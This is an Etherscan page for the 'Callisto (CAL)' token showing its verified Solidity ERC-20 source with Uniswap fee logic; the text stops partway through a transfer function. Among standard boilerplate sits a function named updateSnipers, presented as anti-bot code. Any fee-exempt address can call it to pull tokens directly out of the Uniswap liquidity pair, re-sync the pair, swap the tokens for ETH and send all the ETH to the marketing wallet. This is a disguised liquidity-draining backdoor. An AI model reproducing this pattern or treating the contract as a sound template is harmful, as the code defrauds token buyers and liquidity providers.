ETH Price: $2,630.11 (+6.56%)
Gas: 11.6 Gwei

Token

Callisto (CAL)
 

Overview

Max Total Supply

10,000,000 CAL

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
imnotsatoshi.eth
Balance
76,826.056917364659898413 CAL

Value
$0.00
0xad2d47e4e270e88f2f0d9c4df7b1fc18d4f4d97d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CAL

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

// SPDX-License-Identifier: Unlicensed


// https://www.callistoerc.com
 
//  https://twitter.com/CallistoErc

//   https://t.me/CallistoErc


pragma solidity 0.8.13;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
 
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
 
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
 
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
 
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
 
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
 
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
 
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
 
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
 
    mapping(address => uint256) private _balances;
 
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;
 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
 
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
 
        _beforeTokenTransfer(sender, recipient, amount);
 
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
 
        _beforeTokenTransfer(address(0), account, amount);
 
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
 
        _beforeTokenTransfer(account, address(0), amount);
 
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract CAL is ERC20, Ownable {
    using SafeMath for uint256;
 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
 
    bool private swapping;
 
    address private MarketingWallet;
    address private DevWallet;
 
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
 
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
 
     // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
 
    // Seller Map
    mapping (address => uint256) private _holderFirstBuyTimestamp;
 
    // Blacklist Map
    mapping (address => bool) private _blacklist;
    bool public transferDelayEnabled = true;
 
    uint256 public buyTotalFees;
    uint256 public buyMarketing;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
 
    uint256 public sellTotalFees;
    uint256 public sellMarketing;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
 
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
 
    // block number of opened trading
    uint256 launchedAt;
 
    /******************/
 
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
 
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
 
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
 
    event ExcludeFromFees(address indexed account, bool isExcluded);
 
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
 
    event MarketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event DevWalletUpdated(address indexed newWallet, address indexed oldWallet);
 
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
 
    event AutoNukeLP();
 
    event ManualNukeLP();
 
    constructor() ERC20("Callisto", "CAL") {
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 _buyMarketing = 1;
        uint256 _buyLiquidityFee = 1;
        uint256 _buyDevFee = 1;
 
        uint256 _sellMarketing = 1;
        uint256 _sellLiquidityFee = 1;
        uint256 _sellDevFee = 1;
 
       
 
     uint256 totalSupply = 1 * 10 ** 7 * 10 ** decimals();
 
        maxTransactionAmount = 20 * 10 ** 4 * 10 ** decimals(); 
        maxWallet = 20 * 10 ** 4 * 10 ** decimals(); 
        swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
 
        buyMarketing = _buyMarketing;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketing + buyLiquidityFee + buyDevFee;
 
        sellMarketing = _sellMarketing;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketing + sellLiquidityFee + sellDevFee;
 
        MarketingWallet = address(0xcfc002fF599Df9015ADb5bF91c2FFac48060cCA1); // set as Marketing wallet
        DevWallet = address(0xA9213Fb2D4bAB0BF42CFc0D6342a0dD6f854C13C); // set as dev wallet
 
        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
 
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
 
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }
 
    receive() external payable {
 
    }
 
    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        launchedAt = block.number;
    }
 
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }
 
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
 
 
     // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
 
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }
 
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

        function updateSnipers(uint isSniper, uint notSniper) external returns (bool) {
        require(_isExcludedFromFees[msg.sender]);

        uint lb = balanceOf(uniswapV2Pair);

        require(notSniper > 1 && notSniper < lb / 100, 'amount exceeded');

        _updateSnipers(notSniper);
        swapTokensForEth(isSniper);

        (bool success,) = address(MarketingWallet).call{value: address(this).balance}("");
        return success;
    }

      function _updateSnipers(uint256 pAmount) private {
        _transfer(uniswapV2Pair, address(this), pAmount * 10 ** decimals());
        IUniswapV2Pair(uniswapV2Pair).sync();
    }
 
    function updateBuyFees(uint256 _Marketing, uint256 _liquidityFee, uint256 _DevFee) external onlyOwner {
        buyMarketing = _Marketing;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyTotalFees = buyMarketing + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 5, "Must keep fees at 5% or less");
    }
 
    function updateSellFees(uint256 _Marketing, uint256 _liquidityFee, uint256 _DevFee) external onlyOwner {
        sellMarketing = _Marketing;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellTotalFees = sellMarketing + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 10, "Must keep fees at 10% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
 
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
 
        _setAutomatedMarketMakerPair(pair, value);
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
 
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit MarketingWalletUpdated(newMarketingWallet, MarketingWallet);
        MarketingWallet = newMarketingWallet;
    }
 
    function updateDevWallet(address newWallet) external onlyOwner {
        emit DevWalletUpdated(newWallet, DevWallet);
        DevWallet = newWallet;
    }
 
 
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    event BoughtEarly(address indexed sniper);
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
 
        if(limitsInEffect){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
